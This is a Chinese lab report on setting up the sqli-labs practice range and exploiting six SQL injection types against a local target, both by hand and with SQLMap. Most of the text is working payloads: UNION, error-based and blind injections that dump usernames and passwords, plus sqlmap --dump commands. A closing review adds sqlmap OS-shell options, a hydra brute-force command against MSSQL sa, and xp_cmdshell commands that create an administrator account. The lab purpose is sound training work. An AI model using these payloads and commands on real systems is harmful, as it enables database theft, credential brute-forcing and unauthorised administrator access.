一、SQL注入漏洞基础概念
1.1 SQL注入原理
SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。
1.2 SQL注入漏洞分类
常见的 Sql 注入漏洞主要包括字符型、数字型、Post注入、双注入、报错注入、布尔盲注六种类型。
1.3 常用数据库注入及工具
对大多数数据库而言,SQL注入的原理基本相似,因为每个数据库都遵循着一个SQL语法标准,但他们之间也存在许多细微的差异,包括语法、函数的不同,其利用方式可以归为几大类:查询数据、读写文件、执行命令,在权限允许的情况下,通常数据库都支持以上三种操作。
常用的注入工具有:
(1)SQLMap:开源开放源码的渗透测试工具,可以自动检测和利用SQL注入漏洞。
SQLMap的特点如下:
●数据库支持MySQL、Oracle、PostgreSQL、Microsoft Server、Microsoft Access、IBMDB2、SQLite、Firebird、Sybase和SAP MaxDB。
●SQL注入类型包括SQL盲注、UNION注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术。
●支持枚举用户、密码哈希、权限、角色、数据库、表和列。
●支持执行任意命令。
●自动识别密码加密方式,并且可以使用字典解密。
●支持数据导出功能。
(2)Pangolin(穿山甲):可帮助渗透测试人员进行SQL注入测试的安全工具,能够通过一系列非常简单的操作,达到最大化的攻击测试效果。
Pangolin(穿山甲)的特点如下:
●全面的数据库支持,包括Access、DB2、Informix、Microsoft SQL Server 2000/2005/2008、MySQL、Oracle、PostgreSQL、Sqlite3和Sybase。
●自动关键字分析能够减少人为操作,且判断结果更准确。
●预登录功能,在需要验证的情况下继续注入。
●支持HTTPS。
●自定义HTTP标题头功能。
●丰富的绕过防火墙过滤功能。
●数据导出功能。
●测试过程简单,易操作。
(3)Havij:自动化的SQL注入工具,能够帮助渗透测试人员发现Web应用程序的SQL注入漏洞,具有友好的可视化界面。
Havij的特点如下:
●支持广泛的数据库,包括SQL Server、MySQL、Access、Oracle。
●支持参数配置以躲避IDS,支持代理、后台登录地址扫描。
●能够自动挖掘可利用的SQL注入。
●可识别后台数据库类型、检索数据库的用户名和密码、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令。
二、实验目的及环境
2.1 实验目的
1. 搭建SQL注入漏洞测试实验环境。
2. 测试不同类型的SQL注入漏洞。
2.1 实验要求
1. 本实验需安装Windows系统。
2. 本实验需安装Kali系统。
2.1 实验设备及环境
1. 火狐浏览器
2. HackBar插件
3. phpstudy工具
4. sqil-labs靶场
三、SQL注入环境搭建及多种注入类型测试实验
3.1 搭建sql注入实验环境
3.1.1.基本信息
•利用phpstudy工具搭建靶场,并安装火狐浏览器和HackBar插件。
3.1.2.操作步骤解析
1. 下载火狐浏览器,安装HackBar插件。
(1)下载火狐浏览器并取消扩展设置中的自动更新。
(2)在扩展板块中安装HackBar插件。
(3)关闭HackBar插件自动更新功能。
2. 下载phpstudy工具,将sqli-labs在电脑上跑通。
(1)下载phpstudy工具,将sqli-labs-master靶场添加到C:\phpstudy_pro\WWW目录下。
(2)开启Nginx和Mysql服务并新建网站,设置域名为localhost,选择已添加好的根目录sqli-labs-master,设置PHP版本为php5.4.45nts。
Nginx和Mysql服务已启动。
新建网站。
新建网站完成。
(3)修改数据库密码为123456并确认。
数据库密码修改成功。
(4)通过C:\phpstudy_pro\WWW\sqli-labs-master\sql-connections路径,找到db-creds文件,将该文件中的dbpass字段修改为123456。
修改数据库密码成功。
3. 使用VMWare或Virtualbox虚拟化软件安装Kali系统。
4. SQL注入实验环境搭建成功。
5. 测试sqli-labs中的less-1环境。
(1)sqli-labs中的less-1环境测试成功。
Hackbar插件安装成功。
3.1.3.总结
在本小节中,利用phpstudy工具搭建靶场,开启Nginx和Mysql服务,新建网站并修改数据库密码及配置文件,安装火狐浏览器和HackBar插件并测试sqli-labs中的less-1环境。
3.2 字符型
3.2.1.基本信息
•靶机地址:192.168.1.9/Less-1
•⽬标:通过SQL注⼊获取⽬标数据库中的数据
3.2.2.操作步骤解析
3.2.2.1手工注入
1. 测试http://192.168.1.9/Less-1/?id=1可以正常打开。
2. 使用单引号、双引号分别对该地址进行url测试。
单引号url测试:
双引号url测试:
测试地址http://192.168.1.9/Less-1/?id=1' 出现错误提示,再次尝试http://192.168.1.9/Less-1/?id=1”发现可以正常访问,据此判断存在单引号字符型注⼊。
3. 进行注释加空格“--+”测试,表示注释掉后面的SQL语句,其命令为:
http://192.168.1.9/Less-1/?id=1' --+。
输⼊http://192.168.1.9/Less-1/?id=1' or 1=1 " --+执⾏的是下列语句(“+”在url中表示空格,“--”在sql中表示注释⾏) 。
SELECT * FROM users WHERE id='1' or 1=1 -- ' LIMIT 0,1
4. 使用Order by语句进行字段数量测试,通过二分法,最终发现可返回三个字段,其命令为:http://192.168.1.9/Less-1/?id=1' order by 3 --+
5. ⼿⼯通过union拼接sql语句实现读取数据库信息。
(1)判断sql语句返回的字段数量,从2个字段开始猜,发现不正确,依次递增,其命令为:http://192.168.1.9/Less-1/?id=1024' union select 1,2,3 --+
(2)获取当前数据库名:只有union前⾯的语句不执⾏,后⾯的语句才能执⾏,其命令为:
http://192.168.1.9/Less-1/?id=1024' union select 1,database(),3 --+
获取数据库名security。
(3)从information_schema.schemata数据库中获取所有数据库名称,其命令为:
http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
获取information_schema.schemata数据库中所有数据库名称。
(4)从information_schema.tables获取数据库security数据库中的包含的数据表,包括 emails,referers,uagents,users 数据表,其命令为:
http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
security数据库中包含的数据表获取成功。
(5)从information.columns获取security.users数据表中的字段,包括 id,username,password信息字段,其命令为:
http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
security.users数据表中的字段获取成功。
(6)从security.users中获取表中的数据,其命令为:
http://192.168.1.9/Less-1/?id=1024' union select 1,group_concat(username),group_concat(password) from security.users --+
security.users表中数据username和password获取成功。
3.2.2.2 SQLMap工具自动化注入
1. 测试该靶机地址是否存在SQL注入,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。
2. 首先获取数据库类型,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --batch
3. 获取所有数据库,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
4. 获取security数据库下的数据表,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
5. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.2.3 总结
在本小节中,通过手工注入和SQLMap工具自动化注入两种注入方式进行字符型注入测试。手工注入测试主要包括单引号、双引号、注释符号等基本测试,并使用Order by语句进行字段数量测试,通过union拼接sql语句实现读取数据库信息。SQLMap工具自动化注入,首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
3.3 数字型
3.3.1.基本信息
·靶机:192.168.1.9
·注⼊地址: http://192.168.1.9/Less-2/?id=1
·⽬标:获取数据库数据
3.3.2.操作步骤解析
3.3.2.1 手工注入
1. 尝试字符型注⼊,使⽤url测试http://192.168.1.9/Less-2/?id=1发现存在错误,尝试单引号和双引号,同样出错。
(1)url测试:http://192.168.1.9/Less-2/?id=1
(2)单引号测试: http://192.168.1.9/Less-2/?id=1’
(3)双引号测试:http://192.168.1.9/Less-2/?id=1”
根据上述推断为数字型注入。
2. 尝试拼接sql,使⽤url测试http://192.168.1.9/Less-2/?id=1 or 1=1 --+
发现可以返回数据,据此推测id传⼊的是数字。
3. 使用Order by语句进行字段数量测试,通过二分法,最终发现可返回三个字段,其命令为:http://192.168.1.9/Less-2/?id=1' order by 3 --+
4. 尝试使⽤union联合查询,使⽤url测试http://192.168.1.9/Less-2/?id=1024 union select 1,database(),3 --+,可以查询出使⽤的数据库为security。
5. 采⽤字符型相同的思路和步骤分别获取数据库信息。
(1)从information_schema.schemata数据库中获取所有数据库名称,其命令为:
http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
(2)从information_schema.tables获取数据库security数据库中的包含的数据表 emails,referers,uagents,users,其命令为:
http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
(3)从information.columns获取security.users数据表中的字段 id,username,password,其命令为:
http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
(4)从security.users中获取表中的数据,其命令为:
http://192.168.1.9/Less-2/?id=1024 union select 1,group_concat(username),group_concat(password) from security.users --+
3.3.2.2 SQLMap工具自动化注入
1. 测试该靶机地址是否存在SQL注入,其命令为:
sqlmap -u "192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。
2. 首先获取数据库类型,其命令为:
sqlmap -u "192.168.1.9/Less-2/?id=1" --batch
3. 获取所有数据库,其命令为:
sqlmap -u "192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
4. 获取security数据库下的数据表,其命令为:
sqlmap -u "http://192.168.1.9/Less-1/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
5. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.3.3.总结
在本小节中,通过手工注入和SQLMap工具自动化注入两种注入方式进行数字型注入测试。手工注入测试主要包括单引号、双引号、尝试拼接sql等基本测试,并使用Order by语句进行字段数量测试,通过使⽤union联合查询实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
3.4 Post型注入
3.4.1.基本信息
·靶机:192.168.1.9
·注⼊地址: http://192.168.1.9/Less-11/?id=1
·⽬标:获取数据库数据
3.4.2.操作步骤解析
3.4.2.1 手工注入
1. 靶场开始界面为表单输入提交形式。
2. 首先填入表单测试数据并提交,利用检查工具发现其为POST请求方式并可以看到已提交的表单数据。
3. 在Username数据框中填入' or 1 #测试,发现执行成功并返回相应数据库语句。
4. 在Kali系统中打开Burp Suite工具并进行相关基础配置。
5. 打开火狐浏览器,设置代理网关为127.0.0.1,测试端口为8080,并开启代理。
6. 开启Intercept。
7. 在网页端提交测试数据,自动跳转到Burp Suite测试界面并显示刚提交的表单数据。
3.4.2.2 SQLMap工具自动化注入
1. 使⽤Burp Suite抓取post数据,保存到⽂件less11.txt。
2. 测试该靶机地址是否存在SQL注入,其命令为:
sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,数据库使⽤的是mysql,可⽤SQLMap⼯具实现⾃动化注⼊。
3. 首先获取数据库类型,其命令为:
sqlmap -r "~/Desktop/less11.txt" --batch
4. 获取所有数据库,其命令为:
sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
5. 获取security数据库下的数据表,其命令为:
sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
6. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -r "~/Desktop/less11.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.3.3.总结
在本小节中,靶场开始界面为表单输入提交形式。首先通过单引号、双引号、' or 1 #等基本测试发现其为POST型注入,对Burp Suite工具进行相关基础配置并利用其抓取post数据,保存到⽂件less11.txt,然后使用SQLMap工具自动化注入,先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
3.5 双注入
3.5.1.基本信息
·靶机:192.168.1.9
·注⼊地址:http://192.168.1.9/Less-5/?id=1
·原理:双注⼊就是嵌套⼦查询,多⾛⼀条查询或者数据排序途径,获取想要的数据。当⼀个字符串函数,例如concat函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误(在错误出插⼊select查询语句,将数据查询出来 )的形式显示出来。
·基础知识回顾
-- 随机函数: rand() 返回0到1之间的随机数。
-- 向下取整: floor(a) 返回⼩于等于a。
-- 聚合函数: count() 返回查询对象的总数。
-- 分组函数: group by condation 根据条件对结果进⾏分组,与聚合函数搭配使⽤。
3.5.2.操作步骤解析
3.5.2.1 手工注入
1. 靶场开始界面为表单输入提交形式。
2. 使⽤单引号和双引号判断注⼊类型,发现是使⽤单引号的字符型注⼊。
(1)基本注入测试:http://192.168.1.9/Less-5/?id=1
(2)单引号注入测试:http://192.168.1.9/Less-5/?id=1'
(3)双引号注入测试:http://192.168.1.9/Less-5/?id=1"
(4)单引号+双引号注入测试:http://192.168.1.9/Less-5/?id=1'"
最终发现为单引号数字型注入。
2. 判断查询的字段数量,使⽤url 测试:http://192.168.1.9/Less-5/?id=1' order by 1 --+ 从数字1,10变换,然后取中位数,发现是查询了3个字段。
最终确定为三个字段http://192.168.1.9/Less-5/?id=1' order by 3 --+。
3. 使⽤union联合查询,使⽤的url是http://192.168.1.9/Less-5/?id=1' union select 1,2,3 --+和http://192.168.1.9/Less-5/?id=1' union select 1,2,database() --+发现没有报错。
http://192.168.1.9/Less-5/?id=1' union select 1,2,3 --+
http://192.168.1.9/Less-5/?id=1' union select 1,2,database() --+
4. 尝试从 information_schema中查询出当前使⽤的数据库中的数据表信息,使⽤的url 是http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),version()) --+,反复执⾏⼏次,会发现version() 中的内容会出现。
5. 利⽤步骤4中的发现,将 version() 内容改为查询sql语句,将当前使⽤的数据库查询出,使⽤的url是http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(database())) --+。
6. 同样的操作,继续查询数据库中的表、表中的字段、以及表中的数据;
(1)查询数据库中的数据表,其命令为:
http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) --+
(2)查询表中的字段,其命令为:
http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select group_concat(column_name) from information_schema.columns where table_name='users')) --+
(3)逐条查询表中的数据,其命令为:
http://192.168.1.9/Less-5/?id=1' union select 1,2,count(*) from information_schema.tables group by concat(floor(rand()*2),(select username from users limit 0,1)) --+
上述操作在Burp Suite工具中也可以执行。
3.5.2.2 SQLMap工具自动化注入
1. 测试该靶机地址是否存在SQL注入,其命令如下:
sqlmap -u "192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。
2. 首先获取数据库类型,其命令为:
sqlmap -u "192.168.1.9/Less-5/?id=1" --batch
3. 获取所有数据库,其命令为:
sqlmap -u "192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
4. 获取security数据库下的数据表,其命令为:
sqlmap -u "http://192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
5. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -u "http://192.168.1.9/Less-5/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
6. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -u "http://192.168.1.9/Less-2/?id=1" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.5.3.总结
在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试主要包括单引号、双引号、尝单引号+双引号等基本注入测试,最终发现为单引号数字型注入,然后使用Order by语句进行字段数量测试,通过使⽤union联合查询实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
3.6 报错注入
3.6.1.基本信息
·基础知识回顾:
-- 对xml⽂档查询函数,参数xpath处传⼊要查询的xpath路径,如果路径输⼊错误,则将错误的xpath路径输出: extractvalue(documnt,xpath)
-- 更新xml⽂档,操作同extractvalue函数:
updatexml(ducument,xpath,update_content)
·靶机: 192.168.1.9
·注⼊地址: http://192.168.1.9/Less-12/
3.6.2.操作步骤解析
3.6.2.1 手工注入
1. 靶场开始界面为表单输入提交形式。
2. 打开火狐浏览器,设置代理网关为127.0.0.1,测试端口为8080,并开启代理。
3. 开启Intercept。
4. 在BurpSuite中开启抓包,在浏览器中输⼊任意的⽤户名和密码。
表单数据如下:
5. 在BurpSuite⼯具中,将数据发送到重复抓包,测试是否存在注⼊。
6. 分别使⽤ ',"" 测试发现存在注⼊,sql语句中使⽤的是 "()" 的形式。
(1)将抓取的数据发送到Repeater进行改报抓包。
(2)分别使⽤ ',"" 测试发现存在注⼊,sql语句中使⽤的是 "()" 的形式。
7. 使⽤ order by查询出sql语句查询的字段数量;
uname=") order by 2 --+&passwd=123456&submit=Submit
8. 使⽤ union联合查询,在查询的sql语句中分别使⽤ extractvlaue,updatexml两个函数的错误提示功能,构造select查询语句。
(1)对xml⽂档查询函数,参数xpath处传⼊要查询的xpath路径,如果路径输⼊错误,则将错误的xpath路径输出。extractvalue(documnt,xpath)
(2)更新xml⽂档,操作同extractvalue函数。
updatexml(ducument,xpath,update_content)
(3) 执⾏错误的查询。
uname=") union select 1,extractvalue("anything","~")from information_schema.tables --+&passwd=123456&submit=Submit
(4)将错误的xpath路径换为要查询的sql语句。
uname=") union select 1,extractvalue("anything",(select group_concat(table_name) from information_schema.tables where table_schema=database())) from information_schema.tables --+&passwd=123456&submit=Submit
(5) 查询数据表的字段。
uname=") union select 1,extractvalue("anything",(select group_concat(column_name) from information_schema.columns where table_name='users')) from information_schema.tables --+&passwd=123456&submit=Submit
(6)查询数据表中的数据。
uname=") union select 1,updatexml("anything",concat("~",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'limit 0,1)),"anything") from information_schema.tables --+&passwd=123456&submit=Submit
3.6.2.2 SQLMap工具自动化注入
1. 将该抓包信息保存为文本文件,命名为less12.txt。
2. 测试该靶机地址是否存在SQL注入,其命令如下:
sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,可用⽤SQLMap⼯具实现⾃动化注⼊。
3. 首先获取数据库类型,其命令为:
sqlmap -r "~/Desktop/less12.txt" --batch
4. 获取所有数据库,其命令为:
sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
5. 获取security数据库下的数据表,其命令为:
sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
6. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -r "~/Desktop/less12.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.6.3.总结
在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试利用BurpSuite工具进行抓包,然后使用Order by语句进行字段数量测试,通过使⽤union联合查询,在查询的sql语句中分别使⽤ extractvlaue,updatexml两个函数的错误提示功能,构造select查询语句以实现读取数据库信息。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
3.7 布尔盲注
3.7.1.基本信息
·靶机 192.168.1.9
·注⼊: http://192.168.1.9/Less-15
·介绍:基于布尔型SQL盲注即在SQL注⼊过程中,应⽤程序仅仅返回 True(⻚⾯)和 False (⻚⾯)。 这时,我们
⽆法根据应⽤程序的返回⻚⾯得到我们需要的数据库信息。但是可以通过构造逻辑判断(⽐较⼤⼩)来得到我们需要
的信息。
·知识回顾
-- 返回字符串的⻓度: length(str)
-- 字符截取函数:从指定位置从字符串中截取指定⻓度的字符:
substring(str,pos,len)
-- ascii码函数:返回字符的ascii码: ascii()
3.7.2.操作步骤解析
3.7.2.1 手工注入
1. 靶场开始界面为表单输入提交形式。
2. 在输⼊框内输⼊⽤户名和密码,⻚⾯返回登陆失败。
3. 在⽤户名中尝试输⼊单引号,⻚⾯返回登陆失败,双引号同样,没有任何数据库的报错信息。
单引号测试:
双引号测试:
4. 尝试使⽤布尔盲注的sql测试语句 1' or 1=1 # 发现登陆成功,⻚⾯存在布尔注⼊。
5. 尝试构造sql语句获取数据库信息;
(1)判断数据库字符⻓度:1' or length(database())>4 #
(2)确定数据库的第⼀个字⺟:1' or ascii(substring(database(),1,1))>'a' #
测试:1' or ascii(substring(database(),1,1))=100 #
6. 尝试使⽤BurpSuite爆破数据库。
(1)将抓取的Post数据发送到Intruder并设置爆破模式为Sniper(狙击手)。
(2)设置爆破范围为1-128,步长为1。
(3)当Payload为115时,长度与其他Payload不同,推测第一个字符为ascii码为115的字符s。
测试:1' or ascii(substring(database(),1,1))=115 #
3.7.2.2 SQLMap工具自动化注入
1. 使⽤BurpSuite工具抓取post数据,保存到⽂件less15.txt。
2. 测试该靶机地址是否存在SQL注入,其命令为:
sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --batch
(1)对该网址进行基本扫描,获取基本信息。
发现其存在SQL注入漏洞,数据库使⽤的是mysql,可⽤SQLMap⼯具实现⾃动化注⼊。
3. 首先获取数据库类型,其命令为:
sqlmap -r "~/Desktop/less15.txt" --batch
4. 获取所有数据库,其命令为:
sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql --dbs --batch
5. 获取security数据库下的数据表,其命令为:
sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" --tables --batch
6. 获取security数据库中users数据表中的字段,其命令为:
sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" --columns --batch
7. 解析security数据库中users数据表中的username和password字段的具体内容,其命令为:
sqlmap -r "~/Desktop/less15.txt" --risk 3 --level 5 --random-agent --dbms mysql -D "security" -T "users" -C "username,password" --dump --batch
3.7.3.总结
在本小节中,靶场开始界面为表单输入提交形式,通过手工注入和SQLMap工具自动化注入两种注入方式进行双注入测试。手工注入测试首先在输⼊框内输⼊⽤户名和密码、单引号、双引号,⻚⾯返回登陆失败,尝试使⽤布尔盲注的sql测试语句 1' or 1=1 # 发现登陆成功,⻚⾯存在布尔注⼊,则利用构造sql语句获取数据库信息,同时使⽤BurpSuite爆破数据库,最终获得数据库的第⼀个字⺟为s。SQLMap工具自动化注入首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
四、课程总结与体会
4.1 实验总结
在本次实验中,针对不同类型的SQL注入漏洞,包括字符型、数字型、POST注入型、双注入、报错注入、布尔盲注,通过手工注入和SQLMap工具自动化注入两种注入方式进行注入测试。在手工注入测试中,通过利用HackBar插件和BurpSuite⼯具进行单引号、双引号、注释空格等基本测试,判断其存在各种类型的SQL注入漏洞,然后利用Order by和union语句构造sql语句获取数据库信息或者使用BurpSuite⼯具爆破数据库。在SQLMap工具自动化注入测试中,首先进行基本扫描,获取基本信息,发现其存在SQL注入漏洞,然后逐步解析数据库、数据表、字段信息、字段具体内容,最终破解密码。
4.2 实验体会
在此次SQL注入环境搭建和多种注入类型测试实验中,通过手工注入和SQLMap工具自动化注入两种注入方式对不同类型的SQL注入漏洞进行测试,掌握了HackBar插件的用法和SQL漏洞基本测试技巧,回顾了Burp Suite工具和SQLMap工具的基本用法,对SQL注入漏洞的类型、测试、解析有了更为深刻的理解。
五、实验内容整体回顾
5.1 Sql注入
1. Sql注入主要目的:通过sql注入访问数据库,来寻找管理员的账户密码。
2.常见字段命名:
用户名:username user name uname uid
密码:password pass pwd mima
管理员表:admin system login
管理后台:admin login webadmin
后台用户名:admin webadmin system guanli
3. sqlmap:sqlmap是渗透测试工作中常用的sql注入漏洞利用工具。
4.sqlmap常见参数:
-u //url
-tables -D "Microsoft Access"
--columns -T "表" -D "Microsoft Access"
--dump -C 字段 -T 表 -D "Microsoft Access"
--batch //默认执行
--dbs //列举数据库
--current-db //查看当前数据库
--tables -D "目标数据库"
--columns -T "表" -D "目标数据库"
--dump -C 字段 -T 表 -D "目标数据库"
--threads 5 //线程
--current-user //查看当前用户
--os-shell // 系统命令执行环境
--os-cmd="命令" //同上
--sql-shell //数据库命令执行环境
sqlmap -r //-r参数,读取文件,主要用来测试POST数据包中是否存在注入
5. sql注入漏洞常见的位置:动态链接(URL地址)、留言板、搜索框、登录框。只要和数据库有交互的地方,都有可能出现SQL注入漏洞
6. 两种提交方式:
GET方式:是通过浏览器,URL地址来提交数据。
POST方式:是通过表单的方式来提交数据,在url地址当中,提交参数不可见。
5.2 数据库远程登录
1. MSSQL数据库,默认用户为sa。
相关破解命令:hydra.exe -l sa -P 你的密码字典 -V 目标IP地址 mssql。
2.常见脚本类型:asp、php、jsp、aspx。
3.如果破解成功MSSQL数据库,可以通过数据库管理工具进行远程登录。
相关命令如下:
exec master..xp_cmdshell "你要执行的操作系统命令"
net user //查看用户
net user 你要创建的用户名 要设定的密码 /add //创建用户,并设定密码
net localgroup administrators 你创建的用户 /add //将用户划分到管理员组
4. MSSQL数据库要知道的几个问题:
①sa用户是默认用户;
②在MSSQL 2008以前版本中,sa用户为最高权限;
③在MSSQL 2005以及2005以后的版本中,xp_cmdshell存储过程已经被禁用了。
5. MySQL相关知识
MySQL:默认用户:root
RDP远程桌面(3389):administrator
SSH(22):root
telnet(23):administrator,root
hydra常用参数:
-l 指定用户名 -L 用户名字典
-V 将结果以列表形式展示 -P 密码字典
-p 指定密码
更多推荐
SQL注入环境搭建及多种注入类型测试实验
发布评论